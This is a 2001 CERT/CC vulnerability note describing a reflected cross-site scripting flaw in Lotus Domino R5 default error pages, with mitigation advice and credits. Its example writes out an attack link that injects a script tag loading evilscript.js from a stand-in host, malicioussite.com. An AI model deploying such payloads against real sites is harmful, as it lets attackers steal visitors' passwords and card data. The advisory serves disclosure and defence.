Vulnerability Note VU#642239

Lotus Domino Server R5 vulnerable to Cross-Site Scripting via passing of user input directly to default error page

Original Release date: 27 Jul 2001 | Last revised: 30 Jul 2001

Overview

Lotus Domino R5 Servers are vulnerable to a cross-site scripting vulnerability. A web site may inadvertently include malicious HTML tags or script(JavaScript, VBScript, Java, etc.) in a dynamically generated page based on unvalidated input from untrustworthy sources. This can be a problem when a web server does not adequately ensure that generated pages are properly encoded to prevent unintended execution of scripts, and when input is not validated to prevent malicious HTML from being presented to the user.

Description

It is possible to use a "cross-site" scripting technique to inject malicious script (JavaScript, VBScript, etc.) or HTML into a web page.

The essence of cross-site scripting is that an intruder causes a legitimate web server to send a page to a victim's web browser that contains malicious script or HTML of the intruder's choosing. The malicious script runs with the privileges of a legitimate script originating from the legitimate web server.

Several server applications are vulnerable to such an technique via various default error pages.

For example, A valid URL request might be

http://www.example.com/FILENAME.html

However, if the requested document "FILENAME.html" did not exist, the web site could return an error message such as:

<HTML>
404 page does not exist: FILENAME.html
....
</HTML>

Notice that "FILENAME.html" is a string that was inputed by a user and is included in the page returned by the web site straight through to the client's browser.

If a malicious web site existed that offered a link to example.com that looked something like this

<A HREF="http://www.example.com/<script%20SRC='http://www.malicioussite.com/evilscript.js'></script>">Click Here</a>

The "FILENAME.html" submitted to example.com is

<script SRC='http://www.malicioussite.com/evilscript.js'></script>

example.com then uses its ordinary routines to generate an error page to you that
reads:

<HTML>
404 page not found: <script SRC='http://www.malicioussite.com/evilscript.js'></script>
....
</HTML>

In effect, malicioussite.com has managed to "inject" a JavaScript program of their choosing into the page returned to the user by example.com. The JavaScript runs as if it originated at example.com, and can therefore process events in that document, but it can also communicate with malicioussite.com by virtue of having come from there. Thus, this vulnerability could be used to "sniff" sensitive data from within the web page, including passwords, credit card numbers, and any arbitrary information the user inputs. There are a variety of variants to this problem.

The ultimate fix to this problem involves recoding a very large number of web sites so that they properly filter and validate the input they receive and properly encode or filter the output before returning it to the user or acting upon it. This process is a very large undertaking.

Impact

The victim will be presented with information which the compromised site did not wish their visitors to be subjected. This could be used to "sniff" sensitive data from within the web page, including passwords, credit card numbers, and any arbitrary information the user inputs.

Solution

The CERT/CC is currently unaware of a practical solution to this problem.

A web master may change the default error page to not include the file name passed in by any user. The client may disable JavaScript (or VBScript or other scripting languages), but it doesn't address the problem of simply inserting malicious HTML, and it can cause undesired functionality.

Systems Affected (Learn More)

VendorStatusDate NotifiedDate Updated
LotusAffected18 Mar 200118 Jul 2001
If you are a vendor and your product is affected, let us know.

CVSS Metrics (Learn More)

Group Score Vector
Base N/A N/A
Temporal N/A N/A
Environmental N/A N/A

References

Credit

Our thanks to Hiromitsu Takagi, who discovered this instance of the cross-site scripting vulnerability.

This document was originally written by Shawn Hernan in July 2000. It has been adapted for this instance by Jason Rafail.

Other Information

  • CVE IDs: Unknown
  • Date Public: 02 Jul 2001
  • Date First Published: 27 Jul 2001
  • Date Last Updated: 30 Jul 2001
  • Severity Metric: 55.69
  • Document Revision: 17

Feedback

If you have feedback, comments, or additional information about this vulnerability, please send us email.